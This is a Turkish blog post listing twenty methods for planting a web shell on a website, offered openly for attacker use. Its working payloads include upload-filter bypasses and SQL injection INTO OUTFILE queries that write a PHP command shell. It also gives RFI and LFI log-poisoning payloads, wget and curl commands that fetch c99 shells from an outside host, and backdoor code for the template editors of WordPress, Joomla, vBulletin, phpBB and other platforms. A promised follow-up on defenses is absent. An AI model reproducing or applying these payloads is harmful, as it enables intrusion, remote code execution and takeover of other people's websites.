Bir Siteye Shell Atmanın 20 Temel Yöntemi | |||||
Birçok kişi bir siteye erişim elde ettikten sonra shell atmaya çalışır. Ancak birkaç yöntem denemesine rağmen başaramaz ve pes eder. Bu konuda sizlere 20 temel shell atma yöntemini anlatacağım. Bu 20 yöntem dilendiği takdirde 40, 50 de olabilir.
NOT:
1.Yöntemden 7.yönteme kadarki anlatılanlar sitede bir upload butonu bulunduğu varsayılarak anlatılmıştır. 1. Yöntem Bazı eski sitelerde sadece script tabanlı dosya uzantı kontrolü yapılır. Bu kontrolü aşmak için script'in sonuna .gif, .jpg, .doc, .html gibi uzantılar eklenerek bu sınırlama aşılabilir. Örneğin; atmak istediğiniz shell adı solver.php ise dosya adını solver.jpg.php şeklinde değiştirerek bu yöntemi deneyebilirsiniz. 2. Yöntem Eğer WAF veya antivirus shell atmanızı engelliyorsa, oncelikle basit birkaç satırdan olusan bir uploader script yüklemeyi deneyin. Uploader’ı yükledikten sonra shell'inizi atmayı deneyin. 3. Yöntem Bazı güvenlik duvarları yüklenecek dosyanın başlığını kontrol ederek izin verilip verilmeyeceğine bakabilir. Böyle bir güvenliği bypass etmek için yüklemek istediğiniz shell’i notepad ile açın ve en üst satıra GIF89a; yazın. Bu şekilde server’i dosyanın bir gif resmi olduguna inandırabilirsiniz. Bu yöntemi 1 numarali yöntemle birleştirirseniz şansınız daha da artar. 4. Yöntem Bazı sitelerde sunucu tabanlı yerine istemci tabanlı güvenlik önlemleri bulunur. Böyle bir durumda Firefox’un Firebug eklentisini indirin ve upload formunu yeniden düzenleyin. Aşağıda örnek bir upload formunu göreceksiniz: Bu formdaki accept=”*.jpg” filtresini accept=”*.*” şeklinde değiştirin. Bu şekilde uzantı kontrolünü aşabilirsiniz. 5. Yöntem Firefox’u açın ve LIVE HTTP HEADERS eklentisini indirin. Shell’inizin adını solver.php.jpg (ya da hangi uzantıyı kabul ediyorsa) şeklinde değiştirin. Daha sonra Firefox’u ve Live HTTP Headers eklentisini açın, shell’inizi upload edin. Aşağıdaki gibi bir görüntü alacaksınız: solver.php.jpg yazısına tıklayın ve aşağıdaki “Replay” butonuna basın. Daha sonra yeni bir pencere açılacak: Kırmızıyla gösterilen yerde dosya adının sonundaki .jpg uzantısını silin. Replay tuşuna basarak HTTP POST isteğini gönderin. Shell’iniz solver.php adıyla yüklenecektir. 6. Yöntem "edjpgcom.exe" programını indirin. Bu program Windows üzerinde çalışır ve JPG, JPEG dosyalarına JPEG Comment eklemeye yarar. Programın kullanımı şu şekildedir: Programı masaüstünde bir klasöre kopyalayın. Daha sonra aynı klasöre istediğiniz bir JPG resim dosyasını kopyalayın. Resim dosyasını sürükleyip programın üstüne bırakın. Programın açıldığını ve boş bir kutu olduğunu göreceksiniz. Bu boş kutu içerisine shell kodlarınızı yazın. Ancak burada dikkat etmeniz gereken şey şudur: Bütün bir shell’i oraya sığdıramazsınız. O yüzden ufak cmd kodunu deneyin. "; system($_GET['cmd']); echo ?> 7. Yöntem Server’i kandırmanın bir başka yolu da içerik tipi değiştirmekten gecer. Firefox’un Tamper Data eklentisini indirin ve kurun. Daha sonra eklentiyi açıp Start Tamper butonuna basın. Shell’inizi upload edin. Tamper data eklentisi hemen bir uyarı verecektir. Bu uyarıda “Tamper” butonuna tıklayın. Aşağıdaki gibi bir görüntü çıkacaktır: Çıkan penceredeki post_data’yı olduğu gibi kopyalayın ve not defterine yapıştırın. İçerisindeki bütün application/octet-stream yazılarını bulup bunları image/gif ya da image/jpg şeklinde değiştirin. Daha sonra değişmiş haliyle olduğu gibi eski yerine yapıştırarak submit butonuna tıklayın. Bu şekilde server’ı, dosyanızın resim dosyası olduguna inandırabilirsiniz. 8. Yöntem Yukarıdaki bütün bu yöntemler sitede bir upload butonu bulduğunuzda çalışabilir. Ancak bazen hiçbir upload formu bulamazsınız. Bu durumda da admin panelinde direk olarak dosyalari duzenleyen yerleri arayın. Örneğin panelde 404 sayfasini duzenleyen bir bölüm buldunuz. Hemen dosya icerisine php, asp kodları yazarak dosyanın içeriğinin değişip değişmediğini kontrol edin. Eğer değişiyorsa bu şekilde shell kodlarınızı yazıp kaydedebilirsiniz. 9. Yöntem Bazı sitelerde RFI yani uzaktan dosya çalıştırma açığı bulunmaktadır. Bu açığı bulursanız, farklı bir siteye shell’inizi txt formatında yukleyin. Daha sonra da uzaktan bu shell’i açık bulunan sitede çağırarak siteye shell atabilirsiniz. Örnegin: http://www.mahmutesat.com/index.php?sayfa=http://www.example.com/solver.txt 10. Yöntem Bazen server üzerinde güçlü antivirus'ler ve güvenlik duvarları bulunur. Siz shell’inizi upload etseniz bile bunlar yakalar ve hemen silerler. Bu gibi durumlarda yapmanız gereken Undetected bir shell bulmaktır. eval(gzinflate(base64_decode(, ya da preg_replace(”/.*/e”,”\\\\\\\\x65\\\\\\\\x76\\\\\\\\x61\\\\\\\\x6C\\\\\\\\x28\\\\\\\\x67\\\\\\\\x7A\\\\\\\\x69\\\\\\\\x6E\\\\\\\\x66\\\\\\\\x6C\\\\\\\\x61\\\\\\\\x74\\\\\\\\x65\\\\\\\\x28\\\\\\\\x62\\\\\\\\x61\\\\\\\\x73\\\\\\\\x65\\\\\\\\x36\\\\\\\\x34\\\\\\\\x5F\\\\\\\\x64\\\\\\\\x65\\\\\\\\x63\\\\\\\\x6F\\\\\\\\x64\\\\\\\\x65\\\\\\\\x28’ şeklinde başlayan encode edilmiş bir shell bulursanız bu sorunu çözebilirsiniz. Ancak dikkat etmeniz gereken şey, bu şekilde encode'lanmış shell'lerin içerisinde genellikle logger bulunur. Kullanmadan once bunlari temizlemeniz gerekir. 11. Yöntem Diyelim ki sitede bir SQL Injection açığı buldunuz. Bu açığı kullanarak shell atmanız mümkündür. Bunun icin şu şekilde çalışın: Diyelim ki http://www.mahmutesat.com/index.php?id=2 adresinde sql injection olsun ve id değişkeni direk sql sorgusunda kullanılıyor olsun. Bu durumda http://www.mahmutesat.com/index.php?id=2+order+by+6--diyerek kolon sayımızı buluyoruz. http://www.mahmutesat.com/index.php?id=-2+union+all+select+1,2,3,4,5,6-- yazarak hangi kolondan komut yürüteceğimize bakalım. http://www.mahmutesat.com/index.php?id=-2+union+all+select+1,2,current_user,4,5,6-- diyerek mevcut kullanıcı adını öğreniyoruz. Diyelim ki SOLVER olsun. http://www.mahmutesat.com/index.php?id=-2+union+all+select+1,2,file_priv,4,5,6+FROM+mysql.user WHERE+user=’SOLVER’-- komutuyla kullanıcının gerekli izinleri var mı diye kontrol ederiz. Çıkan sonuçta Y yazarsa yetki var demektir. Y yoksa yetki yok demektir. Biz var olduğunu düşünelim. Şimdi sitenin server üzerindeki yolunu ögrenin. Bunu yapmanın bircok yolu var. En basitinden SQL Injection yaparken bir hata alırsanız oradan bulabilirsiniz. Örnegin “/home/mahmutesat.com/public_html” bizim yolumuz olsun. Daha sonra site üzerinde yazma yetkisi olan bir dizin bulmamiz gerekli. Genellikle image dizinlerinin yazma yetkisi vardır. Artık shell yazma komutumuza geçebiliriz: http://www.mahmutesat.com/index.php?id=-2+union+all+select+1,2,<?system($_REQUEST['cmd']);?>,4,5,6+into+outfile+'/home/mahmutesat.com/public_html/images/solver.php'-- Böylece shell dosyamızı upload’ladık. Shell dosyamıza http://www.mahmutesat.com/images/solver.php şeklinde erişebiliriz. Site üzerinde komut çalıştırmak için http://www.mahmutesat.com/images/solver.php?cmd=pwd ya da http://www.mahmutesat.com/images/solver.php?cmd=uname -a gibi linux komutları deneyebiliriz. Daha kapsamlı bir shell atmak için ise http://www.mahmutesat.com/images/solver.php?cmd=wget http://www.shellsitesi.com/c99.txt komutu ile hedef siteye shell çağırıp kaydedebilirsiniz. Daha sonra bu kaydettiğimiz txt formatındaki shell’i http://www.mahmutesat.com/images/solver.php?cmd=mv c99.txt c99.php komutuyla php formatına dönüştürüp erişebilirsiniz. 12. Yöntem Eğer sitenin phpMyAdmin paneline erişebilirseniz ve mevcut kullanıcının yazma yetkisi varsa buradan da shell atabilirsiniz. Aynı bir önceki gibi sitenin server’daki yolunu bulduğumuz gibi server yolunu buluyoruz. Daha sonra aşağıdaki gibi SQL butonuna basıyoruz: Çıkan boş yere aşağıdaki komutu giriyoruz: SELECT "<?php system($_REQUEST[’cmd’]);?>" INTO OUTFILE "/home/mahmutesat.com/public_html/images/solver.php" Daha sonra da “Git” butonuna tıklayarak SQL kodunu çalıştırıyoruz. Artık cmd shell’imizi siteye yazdırdık: http://www.mahmutesat.com/images/solver.php Bir önceki yöntem gibi uzaktan txt shell çağırıp daha sonra adını değiştirerek tam erişim sahibi olabilirsiniz. 13. Yöntem Bazı sitelerin FTP girişleri oldukça güvensizdir. Sifreleri kolayca tahmin edilebilir ya da bazen anonymous girişleir açık olur. Bu gibi durumlarda siteye direk FTP ile bağlanılarak shell upload edilebilir. 14. Yöntem LFI (Local File Inclusion) açığı ile bir server’daki yerel dosyaları okumanız mümkündür. Örneğin; http://www.mahmutesat.com/index.php?page=../../../etc/passwd gibi bir komut ile server’in passwd dosyası okunabilir. Böyle bir durum yakaladığımızda aşağıdaki yolu izleyerek shell atılabilir: http://www.mahmutesat.com/index.php?page=../../../proc/self/environ komutu ile bu dosyanın erişime açık olup olmadığına bakın. Uzunca bir sayfa kod ile karşılaşırsanız erişim açıktır. Daha sonra Firefox Live HTTP Header eklentisini açarak http://www.mahmutesat.com/index.php?page=../../../proc/self/environ sayfasını tekrar çağırın. Replay butonuna tıklayın ve çıkan pencerede User Agent kısmını şu şekilde düzenleyin: User-Agent: <?php $file = fopen("c99.php","w+"); $stream = fopen ("http://www.shellsitesi.com/c99.txt", "r"); while(!feof($stream)) { $shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?> Replay tuşuna basarak isteği gönderin. Eğer istek basarılı bir şekilde iletilirse shell’iniz http://www.mahmutesat.com/c99.php şeklinde sitenin ana dizinine upload edilecektir. LFI konusunda bir diğer yöntem de log dosyalarını kullanarak shell atmaktır. Yöntem hemen hemen aynı şekilde işler: LFI kullanarak server’ın log dosyasına erişmeye calışıyoruz: http://www.mahmutesat.com/index.php?page=../../../../apache/logs/error.log Dosyaya erişim yetkisi olduğunu onayladıktan sonra siteye bir hata verdirmemiz gerekiyor. http://www.mahmutesat.com/<%3Fphpinfo()%3B%3F> Daha sonra tekrar log dosyasına baktığımızda phpinfo sayfasını göreceğiz: http://www.mahmutesat.com/index.php?page=../../../../apache/logs/error.log Bu şekilde shell kodlarını da çalıştırabilirsiniz. O yüzden tekrar uzun uzun anlatmayacağım. 15. Yöntem (Joomla) Hazır sitelere shell atmanın birçok yolu vardır. Bazen eklentilerden kaynaklanan shell upload açıkları ya da farklı açıklar olabilir. Bunlara girmeyeceğim. Eğer panele erişiminiz varsa buradan nasıl shell atılır onu anlatacağım. İlk yöntem tema düzenlemedir. Panelde Template Manager’a tıklayın, oradan da herhangi bir temaya tıklayın. Açılan sayfada sağ üstteki Edit butonuna tıklayın ve sonra da Edit html’e tıklayın. Çıkan boş alana shell kodunu yapıştırın. Böylece shell'inizi sisteme attınız. http://hedefsite.com/templates/beez/index.php adresi şeklinde bir adresle eklediğiniz shell’inizi kullanabilirsiniz. İkinci yöntem olarak tema eklemeyi deneyebilirsiniz. Joomla sürümüne uygun bir tema bulup indirin. Tema dosyalarından birisini açın ve kodlarını shell kodları ile değiştirin. Daha sonra da yeni tema ekle diyerek siteye yükleyin. Bu şekilde sisteme shell atmış olursunuz. Üçüncü yöntem ise Plugin yükleme seçeneğidir. Aynı tema yükleme gibi plugin dosyaları arasına shell atarak yeni plugin yükleyin ve sistemde shell'iniz hazır olur. 16. Yöntem (Wordpress) Admin paneline girdikten sonra Appearance’a gelin ve editor’e tıklayın. Sağ taraftan 404.php linkine tıklayın. Açılan kutuda dosya içeriğini göreceksiniz. Buraya shell kodlarınızı yapıştırın. Shell’inize http://www.hedefsite.com/wp-content/themes/tema-adi/404.php şeklinde erişebilirsiniz. Aynı Joomla’da oldugu gibi WordPress’te de plugin ve tema yükleyerek de shell atabilirsiniz. 17. Yöntem (Vbulletin) Admin panele girdikten sonra Plugins & Products’a gelin ve Add New Plugin’i seçin. Buradan ayarları aşağıdaki gibi yapın: Product: vBulletin Hook Plugin’i ekledikten sonra “Style and Design” başlığına gidin ve “Style Manager”i seçin. Buradan Edit Templates’e tıklayın. ForumHome modellerini genişletin ve FORUMHOME seçeneğine tıklayıp düzenleyin. Karşınıza çıkacak yerde $header kodunu arayın. Bulduğunuz zaman bu kodu $execcode ile değiştirin. Şimdi siteye dönün ve aşağıdaki komut ile shell'inizi oluşturun: http://www.site.com/forum/index.php?cmd=wget http://www.site.com/shell.txt;mv shell.txt shell.php Eğer wget çalışmaz ise aşağıdakileri de deneyebilirsiniz: http://www.site.com/forum/index.php?cmd=curl http://www.site.com/shell.txt > shell.php http://www.site.com/forum/index.php?cmd=GET http://www.site.com/shell.txt shell.php Son olarak da shell'inize http://www.site.com/forum/shell.php şeklinde ulaşabilirsiniz. 18. Yöntem (SMF) Admin panele girdikten sonra bu SMF sürümü ile uyumlu bir tema indirin. İçerisine shell dosyanızı atın ve tekrar zip'leyin. Panelden Themes and Layout’a tıklayıp oradan da Install a new theme seçeneğine gelin. Browse diyerek düzenlediğiniz temayı yükleyin. Yüklenen shell’e aşağıdaki gibi bir adres ile ulaşabilirsiniz: http://www.site.com/Themes/tema-adi/shell.php 19. Yöntem (MyBB) Admin panelden Templates and Styles’a gelin ve varsayılan MyBB temasıı bulun. Sonra Templates’e gidin. Varsayılan temayı açın. Calendar templates’i bulun ve tıklayın. Buradan “calender”a tıklayın. Bütün html kodlarının en üstüne shell kodlarınızı yapıştırın ve kaydedin. Yüklenen shell’e aşağıdaki gibi bir adres ile ulaşabilirsiniz: http://www.site.com/calendar.php 20. Yöntem (phpBB) Panele girdikten sonra styles > templates > edit yolunu izleyin ve faq_bOdy.html dosyasını seçin. Dosyanın en altına aşağıdaki kodu ekleyin ve kaydedin: fwrite(fopen($_GET[o], ’w’), file_get_contents($_GET[i])); Sonra aşağıdaki komut ile shell'imizi sisteme atabiliriz: www.site.com/forum/faq.php?o=shell.php&i=http://shellsitesi.com/shell.txt Yüklenen shell’e aşağıdaki gibi bir adres ile ulaşabilirsiniz: http://www.site.com/shell.php Bu şekilde 20 farklı temel shell atma yöntemini göstermiş olduk. Bunların haricinde de birçok yöntem bulunmaktadır. Ancak bu yöntemlerin hepsini kavradıktan sonra kendiniz diğerlerini çözebilirsiniz. Bir sonraki anlatımımda da bu yöntemlerin her birine karşı nasıl güvenlik önlemleri almanız gerektiğini anlatacağım. Alıntılanan Kaynak:
|
|||||
Bu yazı 19.08.2024 tarihinde, saat 21:15:10'de yazılmıştır. 23.08.2024 tarihi ve 20:46:17 saatinde ise güncellenmiştir. | |||||
|
|||||
Yorumlar |
|||||
Henüz yorum girilmemiştir. | |||||
Yorum Ekle | |||||